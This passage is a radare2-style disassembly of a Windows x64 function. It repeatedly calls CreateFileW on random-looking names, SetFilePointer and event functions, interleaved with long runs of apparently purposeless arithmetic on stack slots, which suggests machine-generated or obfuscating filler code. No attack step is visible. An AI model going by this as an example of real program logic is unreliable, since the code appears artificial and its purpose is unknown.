call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x908], eax
mov eax, dword [rsp + 0x63c]
mov rcx, qword [rsp + 0x828]
mov qword [rsp + 0x4518], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4518]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x670], eax
mov rax, qword [rsp + 0xca0]
mov rcx, qword [rsp + 0x1f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x950], rax
lea rax, [rsp + 0x78]
mov qword [0x1400fd240], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1480], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x4428
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7a8], eax
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c], eax
mov rax, qword [rsp + 0x650]
movzx eax, word [rax]
mov word [rsp + 0x288], ax
mov rax, qword [rsp + 0x970]
mov eax, dword [rax]
add eax, dword [rsp + 0xbc4]
mov rcx, qword [rsp + 0x1730]
mov dword [rcx], eax
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x668]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x790]
mov rcx, qword [rsp + 0x1298]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x778]
mov qword [rcx], rax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x298]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x530]
mov byte [rcx], al
lea rax, [rsp + 0x1418]
mov qword [rsp + 0xd90], rax
mov eax, dword [rsp + 0x568]
mov rcx, qword [0x1400fd1f0]
mov qword [rsp + 0x4520], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4520]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8e8], eax
mov rax, qword [rsp + 0xa58]
movzx eax, word [rax]
mov word [rsp + 0x258], ax
movzx eax, word [rsp + 0xd4]
mov rcx, qword [rsp + 0x7d0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1400fd170]
mov word [rcx], ax
mov rax, qword [rsp + 0xc58]
mov rcx, qword [0x1400fd180]
mov qword [rsp + 0x4528], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4528]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x738]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.Buyn703Cj2_sOb9k0Mk9GbFpbNYIp5U
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1cf8], rax
lea rax, [rsp + 0x144]
mov qword [rsp + 0xf38], rax
mov rax, qword [rsp + 0x528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x740]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc0], ax
mov rax, qword [rsp + 0x778]
mov rcx, qword [rsp + 0xdb8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7f8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x1098]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa48]
mov eax, dword [rax]
add eax, dword [rsp + 0x670]
mov dword [rsp + 0x694], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xb3e3
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x904], eax
movsx eax, byte [rsp + 0xcc]
mov rcx, qword [rsp + 0x7b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
mov qword [rsp + 0x19a0], rax
mov rax, qword [rsp + 0x1148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x650]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x288], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1ce0], rax
lea rax, [rsp + 0xfe0]
mov qword [0x1400fd248], rax
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9c8]
mov qword [rsp + 0x4530], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4530]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x20c], eax
lea rax, [rsp + 0x59]
mov qword [rsp + 0x12d8], rax
movsx eax, word [rsp + 0x414]
mov rcx, qword [rsp + 0xa28]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x528]
mov word [rcx], ax
mov rax, qword [rsp + 0xf80]
movzx eax, word [rax]
mov word [rsp + 0x318], ax
mov rax, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x628]
mov qword [rsp + 0x4538], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4538]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x1170], rax
mov rax, qword [rsp + 0x988]
mov ecx, dword [rsp + 0x330]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8d4], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3825
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe28], eax
lea rax, [rsp + 0xfc]
mov qword [rsp + 0x1368], rax
movsx eax, word [rsp + 0x258]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x740]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1ff8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0x3e8a
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9a0], eax
mov rax, qword [0x1400fd218]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13c]
sub eax, ecx
mov rcx, qword [0x1400fd218]
mov word [rcx], ax
lea rax, [rsp + 0x1088]
mov qword [rsp + 0x9b0], rax
mov rcx, qword [rsp + 0x1728]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1668], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9ea7
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe28], eax
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0xd78]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x16c8], rax
mov rax, qword [rsp + 0x748]
mov rax, qword [rax]
mov rcx, qword [0x1400fd1e8]
mov qword [rsp + 0x4540], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4540]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb80], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1e68], rax
mov rax, qword [rsp + 0x958]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x140]
add eax, ecx
mov word [rsp + 0x398], ax
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [str._aMl]
sub eax, ecx
mov byte [rsp + 0x82], al
lea rax, [rsp + 0xc68]
mov qword [rsp + 0xf78], rax
mov rax, qword [rsp + 0xd28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x640]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x568], eax
mov rax, qword [rsp + 0x2e8]
movzx eax, byte [rax]
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0xa38]
mov eax, dword [rax]
mov ecx, dword [0x1400fc384]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb4], eax
mov rax, qword [rsp + 0x788]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1400fd1d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14c]
sar eax, cl
mov word [rsp + 0x5c], ax
movzx eax, word [rsp + 0xd4]
movzx ecx, word [rsp + 0x150]
or eax, ecx
mov word [rsp + 0x220], ax
mov rax, qword [0x1400fc3a8]
mov rcx, qword [rsp + 0xb70]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd90]
mov rax, qword [rax]
mov qword [rsp + 0x1c80], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2af
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
mov rcx, qword [rsp + 0x1098]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xad0], eax
mov rax, qword [rsp + 0xfd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x119]
shl eax, cl
mov byte [rsp + 0x61], al
mov rax, qword [0x1400fd1f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8d4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x528]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x224], ax
movzx eax, word [rsp + 0x4f4]
mov rcx, qword [rsp + 0x1228]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x84], ax
mov rax, qword [rsp + 0x1088]
mov qword [0x1400fd250], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.722HlmhbckMx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1d08], rax
movzx eax, word [rsp + 0x13c]
mov word [rsp + 0x40c], ax
mov rax, qword [rsp + 0xa18]
mov rcx, qword [rsp + 0xb40]
mov qword [rsp + 0x4548], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4548]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x1298], rax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd48]
add rax, qword [rcx]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x968]
movzx eax, byte [rax]
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0x12c0]
mov ecx, dword [rsp + 0x660]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa90]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x7a0]
mov ecx, dword [rsp + 0x94]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a8], eax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x91]
cdq
idiv ecx
mov byte [rsp + 0x1c0], al
mov rax, qword [rsp + 0xd90]
mov rax, qword [rax]
mov qword [rsp + 0x22c8], rax
movsx eax, word [rsp + 0x164]
movsx ecx, word [rsp + 0x250]
and eax, ecx
mov word [0x1400fd16c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe5f0
mov rcx, qword [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27bc], eax
mov rax, qword [rsp + 0xda0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x398]
and eax, ecx
mov word [rsp + 0x64], ax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
movzx ecx, word [0x1400fd178]
sub eax, ecx
mov word [rsp + 0x318], ax
mov rax, qword [rsp + 0xa98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf38]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x12c], ax
movsx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x7b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
mov qword [rsp + 0x1780], rax
mov eax, dword [rsp + 0x688]
mov rcx, qword [rsp + 0x828]
mov qword [rsp + 0x4550], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4550]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x330], eax
movsx eax, word [rsp + 0x7c]
mov rcx, qword [rsp + 0xa58]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3d0]
mov word [rcx], ax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x11e8], rax
mov rax, qword [rsp + 0x790]
mov rax, qword [rax]
mov qword [0x1400fd258], rax
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.IRUyRv8_aXrIgzjxMFD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2338], rax
mov rax, qword [rsp + 0x9b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x16c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1740], rax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov qword [rsp + 0x2650], rax
mov rax, qword [rsp + 0x9b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xff0]
add rax, qword [rcx]
mov qword [rsp + 0xd00], rax
mov rcx, qword [rsp + 0x1270]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9d8], eax
movzx eax, word [rsp + 0x318]
movzx ecx, word [rsp + 0xec]
sub eax, ecx
mov word [rsp + 0x198], ax
lea rax, [rsp + 0xb4]
mov qword [rsp + 0x1c08], rax
movzx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0x520]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x1368]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xf40]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x11a], al
mov rax, qword [rsp + 0xd80]
mov ecx, dword [rsp + 0x514]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x768]
mov rcx, qword [rsp + 0xc70]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fc3d8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xa839
mov rcx, qword [rsp + 0x1d18]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcb8], eax
movsx eax, word [0x1400fc3c0]
movsx ecx, word [rsp + 0x54]
add eax, ecx
mov word [rsp + 0x258], ax
lea rax, [rsp + 0x270]
mov qword [rsp + 0xa78], rax
mov rax, qword [rsp + 0x658]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x40c]
xor eax, ecx
mov word [rsp + 0x114], ax
mov rax, qword [rsp + 0x2650]
mov qword [rsp + 0x18c0], rax
mov rax, qword [rsp + 0xa88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
or eax, ecx
mov byte [rsp + 0xbc], al
mov eax, 0x38
imul rax, rax, 0
mov dword [rsp + rax + 0x5b64], 0x416e7da6
lea rax, [rsp + 0x640]
mov qword [rsp + 0x1a18], rax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1684], eax
mov rax, qword [0x1400fc390]
mov rcx, qword [rsp + 0x3c0]
mov qword [rsp + 0x4558], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4558]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x628]
mov qword [rcx], rax
movsx eax, word [rsp + 0x174]
movsx ecx, word [rsp + 0x1d0]
sar eax, cl
mov word [rsp + 0xd0], ax
mov rax, qword [rsp + 0xa50]
movzx eax, word [rax]
mov word [0x1400fd260], ax
lea rax, [rsp + 0x11d0]
mov qword [rsp + 0xb38], rax
mov rax, qword [0x1400fd1f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa60]
mov word [rcx], ax
mov rax, qword [rsp + 0x800]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcd]
add eax, ecx
mov byte [rsp + 0x108], al
mov rax, qword [rsp + 0xa38]
mov eax, dword [rax]
mov ecx, dword [0x1400fc384]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1278]
mov dword [rcx], eax
mov rax, qword [rsp + 0x968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x628]
mov rax, qword [rax]
mov qword [rsp + 0x24d0], rax
mov eax, dword [rsp + 0xc8]
movzx ecx, al
mov eax, dword [rsp + 0x208]
shr eax, cl
mov dword [rsp + 0x684], eax
mov rax, qword [rsp + 0x180]
movzx eax, word [rax]
mov word [rsp + 0x280], ax
mov rax, qword [rsp + 0x9e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc88]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1400fd198]
mov word [rcx], ax
mov rax, qword [0x1400fd220]
mov rcx, qword [rsp + 0x1038]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1f0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x46f4
mov rcx, qword [rsp + 0x1d18]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe18], eax
mov rax, qword [rsp + 0xb28]
mov rcx, qword [rsp + 0x1088]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1060], rax
movsx eax, word [rsp + 0x164]
movsx ecx, word [rsp + 0xd0]
shl eax, cl
mov word [rsp + 0x71c], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x144], ax
mov eax, dword [rsp + 0xe20]
mov dword [rsp + 0x634], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2478], rax
mov rax, qword [0x1400fc390]
mov rcx, qword [rsp + 0xfc0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
lea rax, [rsp + 0xe4]
mov qword [rsp + 0x1030], rax
mov rax, qword [rsp + 0x9c0]
movzx ecx, al
mov rax, qword [rsp + 0x11d0]
sar rax, cl
mov rcx, qword [rsp + 0x618]
mov qword [rcx], rax
lea rax, [rsp + 0x3a8]
mov qword [0x1400fd268], rax
movzx eax, word [rsp + 0x2c0]
mov rcx, qword [rsp + 0xf38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5ac], ax
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1c08]
add eax, dword [rcx]
mov rcx, qword [rsp + 0x948]
mov dword [rcx], eax
mov rax, qword [rsp + 0x950]
mov qword [rsp + 0x2be8], rax
movsx eax, byte [rsp + 0x92]
movsx ecx, byte [rsp + 0x61]
sub eax, ecx
mov byte [rsp + 0xbc], al
mov rax, qword [rsp + 0xd60]
mov ecx, dword [rsp + 0x330]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x514], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xb15
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xbb0], eax
mov rax, qword [rsp + 0xc68]
mov qword [rsp + 0x1040], rax
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf0]
and eax, ecx
mov rcx, qword [rsp + 0x2f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x658]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd4]
sar eax, cl
mov word [0x1400fc3b4], ax
mov rax, qword [rsp + 0x7f8]
mov rcx, qword [rsp + 0x620]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1020], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.4Q0F0OBbvEo2mKJ0PO3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1778], rax
mov rax, qword [rsp + 0x648]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x244]
add eax, ecx
mov rcx, qword [rsp + 0x650]
mov word [rcx], ax
mov rax, qword [rsp + 0x3d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x224]
xor eax, ecx
mov word [rsp + 0x7c], ax
mov rax, qword [rsp + 0x1c30]
mov qword [rsp + 0x1718], rax
mov rax, qword [rsp + 0x1bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11f]
shl eax, cl
mov byte [rsp + 0x81], al
mov rcx, qword [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x1960]
mov qword [rsp + 0x1078], rax
mov rax, qword [rsp + 0xd80]
mov rcx, qword [rsp + 0x750]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x1a18]
mov dword [rcx], eax
mov rax, qword [0x1400fd170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x24c]
add eax, ecx
mov rcx, qword [rsp + 0xc88]
mov word [rcx], ax
mov rax, qword [rsp + 0x7d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x780]
mov qword [rsp + 0x4560], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4560]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [0x1400fd1e8]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3e75
mov rcx, qword [rsp + 0x1d18]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x908], eax
mov eax, dword [rsp + 0x8e4]
mov ecx, dword [rsp + 0xa4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x10f0], eax
mov rax, qword [rsp + 0x820]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10a]
and eax, ecx
mov byte [rsp + 0x15b], al
lea rax, [rsp + 0x174]
mov qword [rsp + 0x1240], rax
movzx eax, word [rsp + 0x178]
mov rcx, qword [rsp + 0xf80]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1288]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5a]
mov byte [rsp + 0xf4], al
mov rax, qword [rsp + 0xd60]
mov ecx, dword [rsp + 0xc4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1c20]
mov rcx, qword [rsp + 0xc70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1708], rax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x3a8]
mov qword [rsp + 0xf50], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.XozVqKEuQPSO82YE
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2ea0], rax
lea rax, [rsp + 0x1dc]
mov qword [0x1400fd270], rax
mov rax, qword [rsp + 0xb28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x738]
mov qword [rsp + 0x4568], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4568]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x18c0], rax
lea rax, [rsp + 0x1740]
mov qword [rsp + 0xf88], rax
mov rax, qword [rsp + 0x7d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3e0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x780]
mov qword [rcx], rax
movsx eax, word [rsp + 0x64]
mov rcx, qword [0x1400fd158]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x1240]
mov word [rcx], ax
lea rax, [rsp + 0x11e]
mov qword [rsp + 0x1f58], rax
mov rax, qword [rsp + 0x818]
mov rcx, qword [rsp + 0x1208]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c0], rax
mov eax, dword [rsp + 0xcbc]
mov ecx, dword [0x1400fd1d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ac], eax
mov rax, qword [rsp + 0xa38]
mov ecx, dword [rsp + 0xa4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x340]
mov dword [rcx], eax
mov rax, qword [rsp + 0x830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb0]
and eax, ecx
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x3d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x54]
sar eax, cl
mov word [0x1400fc3e0], ax
mov rax, qword [rsp + 0x468]
movzx eax, word [rax]
mov word [rsp + 0x724], ax
movzx eax, word [rsp + 0x12c]
movzx ecx, word [rsp + 0x39c]
add eax, ecx
mov rcx, qword [rsp + 0x1148]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x690], eax
mov rax, qword [rsp + 0xc58]
mov qword [rsp + 0x1700], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3ef2
mov rcx, qword [rsp + 0x3650]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe08], eax
mov rax, qword [rsp + 0x470]
mov rcx, qword [rsp + 0x24d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x838], rax
mov rax, qword [rsp + 0x508]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xea]
and eax, ecx
mov byte [rsp + 0x11a], al
mov rax, qword [rsp + 0xd80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb88]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f4], eax
mov rax, qword [rsp + 0x528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19c]
add eax, ecx
mov word [rsp + 0x264], ax
mov rcx, qword [rsp + 0x1480]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xac8], eax
movzx eax, word [rsp + 0xe0]
mov word [rsp + 0x434], ax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x980]
mov qword [rsp + 0x4570], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4570]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1400fd1c0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe6ca
mov rcx, qword [rsp + 0x1320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbc8], eax
mov rax, qword [rsp + 0x648]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x11e8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x12c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1b38], rax
mov rax, qword [rsp + 0xfb8]
mov rcx, qword [rsp + 0x18c0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1188], rax
mov rax, qword [rsp + 0x1188]
movzx ecx, al
mov rax, qword [rsp + 0xdb8]
shl rax, cl
mov qword [rsp + 0x14a8], rax
mov rax, qword [0x1400fd1f0]
mov rcx, qword [rsp + 0x828]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7b0]
movzx eax, byte [rax]
mov byte [rsp + 0x1b8], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa81a
mov rcx, qword [rsp + 0x2338]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
mov rcx, qword [rsp + 0x1bf0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xadc], eax
mov rax, qword [rsp + 0xd20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x118]
sub eax, ecx
mov byte [rsp + 0xfa], al
mov eax, dword [rsp + 0x678]
mov dword [rsp + 0x9fc], eax
mov rax, qword [rsp + 0x500]
